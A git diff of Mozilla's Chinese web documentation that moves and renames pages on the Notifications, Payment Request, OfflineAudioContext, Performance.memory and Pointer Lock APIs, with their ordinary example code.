-        if (status === "granted") {
-          for (var i = 0; i < 10; i++) {
-            // Thanks to the tag, we should only see the "Hi! 9" notification
-            var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
-          }
-        }
-
-        // 否则改用 alert
-        else {
-          alert("Hi!");
-        }
-      });
-    }
-
-    // 如果用户拒绝
-    else {
-      // 改用 alert
-      alert("Hi!");
-    }
-  });
-});
- -

实际效果如下:

- -

{{ EmbedLiveSample('.E5.A4.84.E7.90.86.E9.87.8D.E5.A4.8D.E7.9A.84.E9.80.9A.E7.9F.A5', '100%', 30) }}

- -

接收点击应用通知的通知

- -

当用户点击一个由应用产生的通知时,视情况而定,你将会有两种方式被告知点击事件发生了:

- -
    -
  1. 如果你的程序没有被关闭或转入后台,那么在你会收到一个点击事件。
  2. -
  3. 其他情况下会收到一条系统消息。
  4. -
- -

参考 这个代码片段 作为例子,展示了如何处理。

- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Initial specification.
- -

浏览器兼容性

- -

{{page("/zh-CN/Web/API/Notification",".E6.B5.8F.E8.A7.88.E5.99.A8.E5.85.BC.E5.AE.B9.E6.80.A7")}}

- -

参考

- -
    -
  • {{ domxref("Notification") }}
  • -
diff --git a/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html b/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html new file mode 100644 index 0000000000..40bbb3848b --- /dev/null +++ b/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html @@ -0,0 +1,292 @@ +--- +title: 使用 Web Notifications +slug: Web/API/notification/Using_Web_Notifications +tags: + - Firefox OS + - Notifications + - Using the Notifications API + - 通知 +translation_of: Web/API/Notifications_API/Using_the_Notifications_API +--- +

{{APIRef("Web Notifications")}}

+ +

Notifications API 允许网页或应用程序在系统级别发送在页面外部显示的通知;这样即使应用程序空闲或在后台,Web应用程序也会向用户发送信息。本文将介绍在您自己的应用程序中使用此API的基础知识。

+ +

{{AvailableInWorkers}}

+ +

通常,系统通知是指操作系统的标准通知机制,例如思考典型的桌面系统或移动设备如何发布通知。

+ +

                             

+ +

                        

+ +

系统通知系统当然会因平台和浏览器而异,但无需担心,通知API被编写为通用的,足以与大多数系统通知系统兼容。

+ +

Web Notifications API 使页面可以发出通知,通知将被显示在页面之外的系统层面上(通常使用操作系统的标准通知机制,但是在不同的平台和浏览器上的表现会有差异)。这个功能使  web 应用可以向用户发送信息,即使应用处于空闲状态。最明显的用例之一是一个网页版电子邮件应用程序,每当用户收到了一封新的电子邮件都需要通知用户,即使用户正在使用另一个应用程序。

+ +

要显示一条通知,你需要先请求适当的权限,然后你可以实例化一个 {{domxref("Notification")}} 实例:

+ +
Notification.requestPermission( function(status) {
+  console.log(status); // 仅当值为 "granted" 时显示通知
+  var n = new Notification("title", {body: "notification body"}); // 显示通知
+});
+
+ +

请求权限

+ +

在应用可以发送通知之前,用户必须授予应用有权这么做。这是一个常见的要求,当一个 API 至少一次试图与 web 页外部进行交互时,用户不得不专门授予该应用程序有权限提出通知,从而让用户控制允许哪些应用程序或网站显示通知。

+ +

检查当前权限状态

+ +

你可以通过检查只读属性 {{domxref("Notification.permission")}} 的值来查看你是否已经有权限。该属性的值将会是下列三个之一:

+ +
+
default
+
用户还未被询问是否授权,所以通知不会被显示。参看 {{anch("Getting permission")}} 以了解如何请求显示通知的权限。
+
granted
+
表示之前已经询问过用户,并且用户已经授予了显示通知的权限。
+
denied
+
用户已经明确的拒绝了显示通知的权限。
+
+ +
+

注:Safari 和 Chrome (在 32 版本之前) 还没有实现 permission 属性。

+
+ +

获得权限

+ +

如果权限尚未被授予,那么应用不得不通过 {{domxref("Notification.requestPermission()")}} 方法让用户进行选择。这个方法接受一个回调函数,一旦用户回应了显示通知的请求,将会调用这个函数。

+ +

通常你应在你的应用首次初始化的时候请求显示通知的权限:

+ +
window.addEventListener('load', function () {
+  Notification.requestPermission(function (status) {
+    // 这将使我们能在 Chrome/Safari 中使用 Notification.permission
+    if (Notification.permission !== status) {
+      Notification.permission = status;
+    }
+  });
+});
+ +
+

注:Chrome 不允许你在 load 事件处理中调用 {{domxref("Notification.requestPermission()")}} (参见 issue 274284)。

+
+ +

Notification API 的清单权限

+ +

请注意 Notification API 不是 {{Glossary("privileged")}} 或 {{Glossary("certified")}},因此当你在一个开放 web 应用中使用它时,你仍需要在你的 manifest.webapp 文件中包含以下项目:

+ +
"permissions": {
+  "desktop-notification": {
+    "description": "Needed for creating system notifications."
+  }
+}
+ +
+

注:当安装应用程序时,你不需要通过上面的代码显式的请求权限,但您仍然需要在触发通知之前取得权限项。

+
+ +

创建通知

+ +

创建通知很简单,只需要用 {{domxref("Notification")}} 构造方法。这个构造函数需要一个用来显示在通知内的标题以及一些用来增强通知的选项,例如 {{domxref("Notification.icon","icon")}} 或文本 {{domxref("Notification.body","body")}}。

+ +

一旦通知被创建出来,它会立即被显示出来。为了跟踪通知当前的状态,在 {{domxref("Notification")}} 实例层面上会有4个事件被触发:

+ +
+
{{event("show")}}
+
当通知被显示给用户时触发。
+
{{event("click")}}
+
当用户点击通知时触发。
+
{{event("close")}}
+
当通知被关闭时触发。
+
{{event("error")}}
+
当通知发生错误的时候触发。这通常是因为通知由于某些原因而无法显示。
+
+ +

这些事件可以通过事件处理跟踪 {{domxref("Notification.onshow","onshow")}}、{{domxref("Notification.onclick","onclick")}}、{{domxref("Notification.onclose","onclose")}} 和 {{domxref("Notification.onerror","onerror")}}。因为 {{domxref("Notification")}} 同样继承自 {{domxref("EventTarget")}},因此可以对它调用 {{domxref("EventTarget.addEventListener","addEventListener()")}} 方法。

+ +
+

注:Firefox 和 Safari 会在一定时间后自动关闭通知(大约4秒)。这也会发生在操作系统层面。

+ +

当然你也可以通过代码做到,调用 {{domxref("Notification.close()")}} 方法,就像下面的代码一样:

+ +
var n = new Notification("Hi!");
+n.onshow = function () {
+  setTimeout(n.close.bind(n), 5000);
+}
+
+ +

当你接收到一个“close”事件时,并不能保证这个通知是被用户关闭的。这是符合规范的,其中指出:“当一个通知被关闭时,通知的关闭动作都必须执行,不论是底层通知平台导致,还是用户导致。”

+
+ +

简单的例子

+ +

假定有如下的 HTML:

+ +
<button>Notify me!</button>
+ +

它可能通过这样的方式处理通知:

+ +
window.addEventListener('load', function () {
+  // 首先,让我们检查我们是否有权限发出通知
+  // 如果没有,我们就请求获得权限
+  if (window.Notification && Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // 如果用户同意就创建一个通知
+    if (window.Notification && Notification.permission === "granted") {
+      var n = new Notification("Hi!");
+    }
+
+    // 如果用户没有选择是否显示通知
+    // 注:因为在 Chrome 中我们无法确定 permission 属性是否有值,因此
+    // 检查该属性的值是否是 "default" 是不安全的。
+    else if (window.Notification && Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // 如果用户同意了
+        if (status === "granted") {
+          var n = new Notification("Hi!");
+        }
+
+        // 否则,我们可以让步的使用常规模态的 alert
+        else {
+          alert("Hi!");
+        }
+      });
+    }
+
+    // 如果用户拒绝接受通知
+    else {
+      // 我们可以让步的使用常规模态的 alert
+      alert("Hi!");
+    }
+  });
+});
+ +

这是实际的结果:

+ +

{{ EmbedLiveSample('Simple_example', '100%', 30) }}

+ +

处理重复的通知

+ +

某些情况下对于用户来说,显示大量通知是件令人痛苦的事情。比如,如果一个即时通信应用向用户提示每一条传入的消息。为了避免数以百计的不必要通知铺满用户的桌面,可能需要接管一个挂起消息的队列。

+ +

因此,需要为新建的通知添加一个标记。如果有一条通知也具有一个相同的标记,并且还没有被显示,那么这条新通知将会替换上一条通知。如果有一条通知具有一个相同的标记,并且已经显示出来了,那么上一条通知将会被关闭,新通知将会被显示出来。

+ +

使用标记的例子

+ +

假定有如下 HTML:

+ +
<button>Notify me!</button>
+ +

它有可能通过这种方式处理的多个通知:

+ +
window.addEventListener('load', function () {
+  // 首先,我们检查是否具有权限显示通知
+  // 如果没有,我们就申请权限
+  if (window.Notification && Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // 如果用户同意接收通知,我们就尝试发送10条通知
+    if (window.Notification && Notification.permission === "granted") {
+      for (var i = 0; i < 10; i++) {
+        // 感谢标记,我们应该只看到内容为 "Hi! 9" 的通知
+        var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
+      }
+    }
+
+    // 如果用户没有选择是否同意显示通知
+    // 注:由于在 Chrome 中不能确定 permission 属性是否有值,因此检查
+    // 该属性值是否为 "default" 是不安全的。
+    else if (window.Notification && Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // 如果用户同意
+        if (status === "granted") {
+          for (var i = 0; i < 10; i++) {
+            // Thanks to the tag, we should only see the "Hi! 9" notification
+            var n = new Notification("Hi! " + i, {tag: 'soManyNotification'});
+          }
+        }
+
+        // 否则改用 alert
+        else {
+          alert("Hi!");
+        }
+      });
+    }
+
+    // 如果用户拒绝
+    else {
+      // 改用 alert
+      alert("Hi!");
+    }
+  });
+});
+ +

实际效果如下:

+ +

{{ EmbedLiveSample('.E5.A4.84.E7.90.86.E9.87.8D.E5.A4.8D.E7.9A.84.E9.80.9A.E7.9F.A5', '100%', 30) }}

+ +

接收点击应用通知的通知

+ +

当用户点击一个由应用产生的通知时,视情况而定,你将会有两种方式被告知点击事件发生了:

+ +
    +
  1. 如果你的程序没有被关闭或转入后台,那么在你会收到一个点击事件。
  2. +
  3. 其他情况下会收到一条系统消息。
  4. +
+ +

参考 这个代码片段 作为例子,展示了如何处理。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Initial specification.
+ +

浏览器兼容性

+ +

{{page("/zh-CN/Web/API/Notification",".E6.B5.8F.E8.A7.88.E5.99.A8.E5.85.BC.E5.AE.B9.E6.80.A7")}}

+ +

参考

+ +
    +
  • {{ domxref("Notification") }}
  • +
diff --git a/files/zh-cn/web/api/offlineaudiocontext/complete/index.html b/files/zh-cn/web/api/offlineaudiocontext/complete/index.html deleted file mode 100644 index 74bdb5f3ff..0000000000 --- a/files/zh-cn/web/api/offlineaudiocontext/complete/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 'OfflineAudioContext: complete event' -slug: Web/API/OfflineAudioContext/complete -translation_of: Web/API/OfflineAudioContext/complete_event ---- -

{{DefaultAPISidebar("Web Audio API")}}

- -

complete当离线音频上下文的呈现完成时,将触发{{domxref("OfflineAudioContext")}}接口事件。

- - - - - - - - - - - - - - - - - - - - - - - - -
泡泡没有
取消没有
默认操作没有
接口{{domxref( "OfflineAudioCompletionEvent")}}
事件处理程序属性{{domxref( "OfflineAudioContext.oncomplete")}}
- -

例子

- -

处理完成后,您可能希望使用oncomplete处理程序提示用户现在可以播放音频,并启用播放按钮:

- -
offlineAudioCtx.addEventListener('complete',()=> {
-  console.log('Offline audio processing now complete');
-  showModalDialog('Song processed and ready to play');
-  playBtn.disabled = false;
-})
- -

You can also set up the event handler using the {{domxref("OfflineAudioContext.oncomplete")}} property:

- -
offlineAudioCtx.oncomplete = function() {
-  console.log('Offline audio processing now complete');
-  showModalDialog('Song processed and ready to play');
-  playBtn.disabled = false;
-}
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}{{Spec2('Web Audio API')}} 
- -

Browser compatibility

- - - -

{{Compat("api.OfflineAudioContext.complete_event")}}

- -

See also

- -
    -
  • {{domxref( "离线音频上下文.oncomplete")}}
  • -
  • Web Audio API
  • -
diff --git a/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html b/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html new file mode 100644 index 0000000000..74bdb5f3ff --- /dev/null +++ b/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html @@ -0,0 +1,81 @@ +--- +title: 'OfflineAudioContext: complete event' +slug: Web/API/OfflineAudioContext/complete +translation_of: Web/API/OfflineAudioContext/complete_event +--- +

{{DefaultAPISidebar("Web Audio API")}}

+ +

complete当离线音频上下文的呈现完成时,将触发{{domxref("OfflineAudioContext")}}接口事件。

+ + + + + + + + + + + + + + + + + + + + + + + + +
泡泡没有
取消没有
默认操作没有
接口{{domxref( "OfflineAudioCompletionEvent")}}
事件处理程序属性{{domxref( "OfflineAudioContext.oncomplete")}}
+ +

例子

+ +

处理完成后,您可能希望使用oncomplete处理程序提示用户现在可以播放音频,并启用播放按钮:

+ +
offlineAudioCtx.addEventListener('complete',()=> {
+  console.log('Offline audio processing now complete');
+  showModalDialog('Song processed and ready to play');
+  playBtn.disabled = false;
+})
+ +

You can also set up the event handler using the {{domxref("OfflineAudioContext.oncomplete")}} property:

+ +
offlineAudioCtx.oncomplete = function() {
+  console.log('Offline audio processing now complete');
+  showModalDialog('Song processed and ready to play');
+  playBtn.disabled = false;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.OfflineAudioContext.complete_event")}}

+ +

See also

+ +
    +
  • {{domxref( "离线音频上下文.oncomplete")}}
  • +
  • Web Audio API
  • +
diff --git a/files/zh-cn/web/api/payment_request_api/concepts/index.html b/files/zh-cn/web/api/payment_request_api/concepts/index.html new file mode 100644 index 0000000000..a6772dc5be --- /dev/null +++ b/files/zh-cn/web/api/payment_request_api/concepts/index.html @@ -0,0 +1,128 @@ +--- +title: 交易过程的基本概念 +slug: Web/API/支付_请求_接口/Concepts +tags: + - API + - Apple Pay + - 中间状态 + - 交易 + - 付款方 + - 付款方式 + - 应用程序接口 + - 指南 + - 支付 + - 支付请求API + - 收款方 + - 贸易 +translation_of: Web/API/Payment_Request_API/Concepts +--- +

{{securecontext_header}}{{DefaultAPISidebar("Payment Request API")}}{{draft}}

+ +

交易请求API使在网站或应用上进行的交易变得更便捷。在这篇文档中,我们将了解此接口如何运作,以及各个组件的功能。

+ +

术语

+ +

在深入了解此API的工作方式前,你应该了解以下术语。

+ +
+
收款方(或商家)
+
商家可以是个人,也可以是一个组织。商家扮演的角色是在自己的网站或应用上通过支付请求API收款。
+
付款方
+
付款方可以是个人,也可以是一个组织。付款方扮演的角色是,在网站或应用上购买物品。支付流程要求付款方先自证身份,然后授权付款。
+
支付方式
+
付款的方式,例如信用卡或线上支付服务。
+
支付方式提供方
+
对某种特定支付方式提供技术支持的组织。例如,使用信用卡付钱时,信用卡交易处理就是一种支付方式提供方。
+
交易处理机
+
一段代码,作用是与付款方式提供方交互,进行交易处理。
+
+ +

某些交易处理机会用到商家认证。商家认证是指以某种方式认证商家的身份,可能的方式包括密码学机制(例如公钥)。认证成功后的商家得以和交易处理机进行交互。

+ +

支付方式识别码

+ +

交易处理机是通过支付方式识别码识别的。交易方式识别码是一个指向唯一交易处理机的字符串,它可以是一套已成标准的识别码,也可以是一个URL。后者被交易处理服务同时用于两种用途:自证身份和处理交易。

+ +

标准化的交易方式识别码

+ +

目前注册在案的只有一套标准化交易方式识别码。(未来可能会添加更多。)

+ +
+
基本卡(basic-card, 输入一次银行卡信息后即可多次消费的支付方式)
+
?根据基本卡规范进行交易处理。?详细说明请参见{{domxref("BasicCardRequest")}}。此处应该有对基本卡规范和使用方法进行说明的文档。
+
+ +

基于URL的交易方式识别码

+ +

这种识别方式的具体使用将会极大程度地依赖不同服务各自的规范。比如,某种服务可能使用多个URL链接,不同URL的使用依赖于API的版本和通信方式等。

+ +
+
https://apple.com/apple-pay
+
交易使用Apple Pay服务。目前,只有Safari浏览器支持这种交易方式。
+
https://google.com/pay
+
交易使用Google Pay. 目前,只有Chrome及Chrome内核的浏览器支持这种交易方式。
+
+ +

交易处理机的功能

+ +

{{Glossary("user agent")}}内部机制支持不同类型的交易。另外,你还可以调用交易处理API来支持更多相应的支付方式提供方(前提是你使用的浏览器支持这些API的使用)。不论使用哪种方式,交易处理机的功能都是如下几条:

+ +
    +
  1. 确保交易正确进行。 交易正确进行的条件取决于不同的支付类型和用户的支付请求;例如,如果用户选择了信用卡支付,而收款方并不支持这种方式,交易就无法正确进行。
  2. +
  3. 响应用户代理发起的对商家进行认证的请求(在处理机支持商家认证的前提下)。 详细说明请参考{{anch("Merchant validation")}}。
  4. +
  5. 验证用户提交的信息有资格发起一次有效交易。这一步骤会创建并返回一个基于具体支付方式的对象,此对象包含处理交易所需要的信息。
  6. +
+ +

商家认证

+ +

一些交易处理机包含商家认证步骤商家认证是指,通过某种方式识别商家的身份,使用的方式通常是“密码学挑战”。没有成功通过认证的商家不被允许使用交易处理机。

+ +

具体的认证方式由交易处理机决定,也完全可以省去这种认证。最终,网站或应用唯一要做的就是就是获取商家的认证密钥并传输给{{domxref("MerchantValidationEvent.complete", "complete()")}}事件的方法。

+ +
paymentRequest.onmerchantvalidation = function(event) {
+  event.complete(fetchValidationData(event.validationURL));
+}
+
+ +

在这个例子中,由fetchValidationData()方法加载由validationURL提供的认证信息。要注意到的是,这个方法必须由商家服务器转发,因为通常情况下,客户端不会主动访问用于认证的URL。

+ +

然后,该数据(或用来解析该数据的{{jsxref("Promise")}})被传送给交易处理机的complete()方法。交易处理机可以用该数据获取更多信息或是进行更多重的算法解析,以认证商家对处理机的使用权。

+ +

因此,注意到如下事实很重要:{{Glossary("user agent")}}永远不会发送{{event("merchantvalidation")}}事件,除非用户代理自身装载了交易处理机。例如,Safari浏览器本身即支持Apple Pay,而Apple Pay的交易处理机可据此向客户端发送merchantvalidation、指示客户端获取服务器上的认证信息,并将其传送给交易处理机的complete(),来为商品进行支付。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}初始定义。
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义了 {{domxref("BasicCardRequest")}} 和 {{domxref("BasicCardResponse")}}.
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义了支付方式识别码和认证方式,并在适用的情况下铸币或在W3C规范中进行登记。
+ +

相关文档

+ + diff --git a/files/zh-cn/web/api/payment_request_api/index.html b/files/zh-cn/web/api/payment_request_api/index.html new file mode 100644 index 0000000000..0df4261062 --- /dev/null +++ b/files/zh-cn/web/api/payment_request_api/index.html @@ -0,0 +1,136 @@ +--- +title: 支付请求接口 +slug: Web/API/支付_请求_接口 +tags: + - 中间状态 + - 信用卡 + - 到岸卸货 + - 参考 + - 应用程序接口 + - 支付 + - 支付请求 + - 支付请求接口 + - 概述 + - 贸易 +translation_of: Web/API/Payment_Request_API +--- +
{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}
+ +

支付请求API为商家和支付者提供了统一的用户体验。它并非提供一种新的支付方式,而是让用户可以在原有的支付方式中进行选择,并使商家可以获悉用户的支付情况。

+ +

支付请求的概念和使用

+ +

在网上购物时,使许多用户中止购物车结算的原因都可以被归结为填写支付信息表单时的步骤繁多导致的费时费力。支付请求API正是被用以减少支付步骤,逐步彻底消除表单的填写。它的目的是简化结算流程,而实现此目的的方式是通过保存用户相关信息并传送给商家。在理想的情况下,用户将不需要填写HTML表单。

+ +

使用支付请求API中“保存卡信息并自动扣款”(使用银行卡支付时)的优点:

+ +
    +
  • 快捷的购买体验:用户在浏览器上只需输入一次银行卡信息,之后便可一键对网络上提供的商品和服务进行支付。即使在不同的站点购物,他们也不需要反复填写相同的支付信息。
  • +
  • 跨站点的统一用户体验(仅指支持此API的站点):浏览器统一控制支付页面,使定制化内容得以实现。可以定制的内容包括语言的本地化。
  • +
  • 无障碍体验:支付页面中的表单元素由浏览器控制,使得键盘输入和屏幕朗读在跨站点时也能以统一的方式工作,且不需要开发者的额外开发。浏览器也可以对支付页面中的字体大小、颜色对比度进行同一调节,使用户在支付过程中获得更加舒适的体验。
  • +
  • 认证管理:用户可以直接通过浏览器管理自己的信用卡和收件地址,且浏览器可以在不同设备间同步这些“认证信息”。这样,用户就能在购物时灵活地在电脑和移动设备间来回切换。
  • +
  • 统一的异常信息处理:浏览器可以检查信用卡卡号的有效性,并在卡片已经(或即将)过期时告知用户。浏览器可以通过用户过去的使用习惯和商家的支付规则(例如,“我们只支持Visa或Mastercard”)自动对此次交易使用卡片的选择提出建议。用户还可以自行设置默认/最偏好的卡片。
  • +
+ +

当用户在页面上进行操作发起一次支付,比如点击“购买”按钮时,网页会相应地创建一个{{domxref("PaymentRequest")}}对象。PaymentRequest对象允许网页与用户代理交互,传送用户输入的用以交易的信息。

+ +

你可以在Using the Payment Request API中查看完整指南。

+ +
+

注意:此API只有在设置了{{htmlattrxref("allowpaymentrequest","iframe")}}属性时才支持{{htmlelement("iframe")}}元素的跨域使用。

+
+ +

接口

+ +
+
{{domxref('PaymentAddress')}}
+
一个包含地址信息的对象;例如,可以包含账单地址和收货地址。
+
{{domxref('PaymentRequest')}}
+
一个提供了创建和管理 {{Glossary("user agent", "user agent's")}}支付接口的对象。
+
{{domxref('PaymentRequestEvent')}}
+
当{{domxref("PaymentRequest")}}发生时,被传送给支付回调函数的事件。
+
{{domxref('PaymentRequestUpdateEvent')}}
+
当用户进行操作时,使网页可以更新相应的支付信息的事件。
+
{{domxref('PaymentMethodChangeEvent')}}
+
代表支付凭证改变(例如,用户将支付方式从信用卡改为了借记卡)的事件。
+
{{domxref('PaymentResponse')}}
+
一个对象,当用户选择了一种支付方式并同意发起交易请求后被返回。
+
{{domxref('MerchantValidationEvent')}}
+
代表浏览器要求商家(网站)证实自身被允许使用某种特定的支付回调函数(例如,注册了对Apply Pay支付方式的使用)的事件。
+
+ +
+
+ +

词典

+ +
+
{{domxref("AddressErrors")}}
+
一个由字符串组成的词典,包含用以描述任何{{domxref("PaymentAddress")}}条目中可能出现的报错的相应描述。
+
{{domxref("PayerErrors")}}
+
一个由字符串组成的词典,包含了{{domxref("PaymentResponse")}}中出现的有关邮件地址、电话号码及姓名的报错的相应描述。
+
{{domxref("PaymentDetailsUpdate")}}
+
一个对象,用于描述当服务器在发起支付请求后且在用户与之交互前,需要更新支付信息的事件。
+
+ +

“保存卡信息并自动扣款”规范的相关词典

+ +
+
{{domxref("BasicCardChangeDetails")}}
+
一个对象,提供了当用户更改支付信息时,{{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}}中传送通过{{event("paymentmethodchange")}}事件传送给 {{domxref("PaymentRequest")}}的删节的地址信息。
+
{{domxref("BasicCardErrors")}}
+
一个对象,提供了{{domxref("BasicCardResponse")}}中无效信息的相关错误提示。错误发生时,该对象被传送给{{domxref("PaymentRequest")}},作为{{domxref("PaymentValidationErrors")}}对象中{{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}}属性的值。
+
{{domxref('BasicCardRequest')}}
+
定义了支付请求信息(例如“卡类型”)对象的结构。
+
{{domxref('BasicCardResponse')}}
+
定义了支付请求响应(例如被使用的银行卡的“卡号”、“有效期”和“账单地址”)对象的结构。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}原始定义
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义信用卡支付回调函数中的{{domxref("BasicCardRequest")}}和{{domxref("BasicCardResponse")}}
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义支付方式的识别码和认证方式。对于某些适用的场景,通过W3C进行铸币和注册。
+ +

浏览器兼容性

+ +
+

支付请求接口

+ +
+ + +

{{Compat("api.PaymentRequest", 0)}}

+
+
+ +

相关文档

+ + diff --git a/files/zh-cn/web/api/performance/memory/index.html b/files/zh-cn/web/api/performance/memory/index.html new file mode 100644 index 0000000000..e9f5047d4e --- /dev/null +++ b/files/zh-cn/web/api/performance/memory/index.html @@ -0,0 +1,42 @@ +--- +title: Performance.memory +slug: Web/API/Performance/内存 +translation_of: Web/API/Performance/memory +--- +

{{APIRef}}

+ +

语法

+ +
timingInfo = performance.memory
+ +

属性

+ +
+
jsHeapSizeLimit
+
上下文内可用堆的最大体积,以字节计算。
+
totalJSHeapSize
+
 已分配的堆体积,以字节计算。
+
+ +
+
usedJSHeapSize
+
当前 JS 堆活跃段(segment)的体积,以字节计算。
+
+ +

规范

+ +

无。

+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Performance.memory")}}

+
+ +

查看更多

+ +
    +
  • 属于 {{domxref("Performance")}} 接口。
  • +
diff --git "a/files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" "b/files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" deleted file mode 100644 index e9f5047d4e..0000000000 --- "a/files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Performance.memory -slug: Web/API/Performance/内存 -translation_of: Web/API/Performance/memory ---- -

{{APIRef}}

- -

语法

- -
timingInfo = performance.memory
- -

属性

- -
-
jsHeapSizeLimit
-
上下文内可用堆的最大体积,以字节计算。
-
totalJSHeapSize
-
 已分配的堆体积,以字节计算。
-
- -
-
usedJSHeapSize
-
当前 JS 堆活跃段(segment)的体积,以字节计算。
-
- -

规范

- -

无。

- -

浏览器兼容性

- -
- - -

{{Compat("api.Performance.memory")}}

-
- -

查看更多

- -
    -
  • 属于 {{domxref("Performance")}} 接口。
  • -
diff --git a/files/zh-cn/web/api/pointer_lock_api/index.html b/files/zh-cn/web/api/pointer_lock_api/index.html new file mode 100644 index 0000000000..c22525ddb7 --- /dev/null +++ b/files/zh-cn/web/api/pointer_lock_api/index.html @@ -0,0 +1,267 @@ +--- +title: Pointer Lock API +slug: API/Pointer_Lock_API +translation_of: Web/API/Pointer_Lock_API +--- +

{{ SeeCompatTable() }}

+ +

指针锁定(以前叫做鼠标锁定) 提供了一种输入方法,这种方法是基于鼠标随着时间推移的运动的(也就是,deltas),而不仅是鼠标光标的绝对位置。通过它可以访问原始的鼠标运动,把鼠标事件的目标锁定到一个单独的元素,这就消除了鼠标在一个单独的方向上到底可以移动多远这方面的限制,并从视图中删去光标。

+ +

这个 API 对于需要大量的鼠标输入来控制运动,旋转物体,以及更改项目的应用程序来说非常有用。对高度视觉化的应用程序尤其重要,例如那些使用第一人称视角的应用程序,以及 3D 视图和建模。

+ +

举例来说,你可以创建让你的用户简单地通过移动鼠标而不需要点击任何按钮就可以控制视角的应用。那么这些按钮就可以被用作其他动作。这类鼠标输入对于查看地图,卫星图像,或者第一人称场景(例如在一个游戏中或者一个全景视频中)是非常方便使用的。

+ +

即使在光标移到浏览器或者屏幕区域之外,指针锁定也能够让你访问鼠标事件。例如,你的用户可以通过不断地移动鼠标来持续旋转或操纵一个 3D 模型。如果没有指针锁定的话,这些旋转或操纵会在指针到达浏览器或者屏幕边缘的那一刻停止。尤其是游戏玩家将会因为此功能而兴奋不已,因为他们可以疯狂地点击按钮,来回地滑动鼠标光标,而不必担心离开了游戏区域,进而不小心误点到另外一个应用程序上,结果将鼠标焦点移离了游戏。杯具了!

+ +

基本概念

+ +

指针锁定和鼠标捕获有关。鼠标捕获在一个鼠标被拖曳时可以向一个目标元素持续传递有关事件,但是当鼠标按钮被放开时就会停止。指针锁定和鼠标捕获在以下方面有所不同:

+ +
    +
  • 它是持久性的。指针锁定不释放鼠标,直到作出一个显式的 API 调用或是用户使用一个专门的释放手势。
  • +
  • 它不局限于浏览器或者屏幕边界。
  • +
  • 它持续发送事件,而不管鼠标按钮状态如何。
  • +
  • 它隐藏光标。
  • +
+ +

示例

+ +

下面是一个如何在你的网页中设置指针锁定的示例。

+ +
<button onclick="lockPointer();">锁住它!</button>
+<div id="pointer-lock-element"></div>
+<script>
+// 注意: 截止本文撰写时, 仅有 Mozilla 和 WebKit 支持指针锁定。
+
+// 我们将要使之全屏并指针锁定的元素。
+var elem;
+
+document.addEventListener("mousemove", function(e) {
+  var movementX = e.movementX       ||
+                  e.mozMovementX    ||
+                  e.webkitMovementX ||
+                  0,
+      movementY = e.movementY       ||
+                  e.mozMovementY    ||
+                  e.webkitMovementY ||
+                  0;
+
+  // 打印鼠标移动的增量值。
+  console.log("movementX=" + movementX, "movementY=" + movementY);
+}, false);
+
+function fullscreenChange() {
+  if (document.webkitFullscreenElement === elem ||
+      document.mozFullscreenElement === elem ||
+      document.mozFullScreenElement === elem) { // 较旧的 API 大写 'S'.
+    // 元素进入全屏模式了,现在我们可以请求指针锁定。
+    elem.requestPointerLock = elem.requestPointerLock    ||
+                              elem.mozRequestPointerLock ||
+                              elem.webkitRequestPointerLock;
+    elem.requestPointerLock();
+  }
+}
+
+document.addEventListener('fullscreenchange', fullscreenChange, false);
+document.addEventListener('mozfullscreenchange', fullscreenChange, false);
+document.addEventListener('webkitfullscreenchange', fullscreenChange, false);
+
+function pointerLockChange() {
+  if (document.mozPointerLockElement === elem ||
+      document.webkitPointerLockElement === elem) {
+    console.log("指针锁定成功了。");
+  } else {
+    console.log("指针锁定已丢失。");
+  }
+}
+
+document.addEventListener('pointerlockchange', pointerLockChange, false);
+document.addEventListener('mozpointerlockchange', pointerLockChange, false);
+document.addEventListener('webkitpointerlockchange', pointerLockChange, false);
+
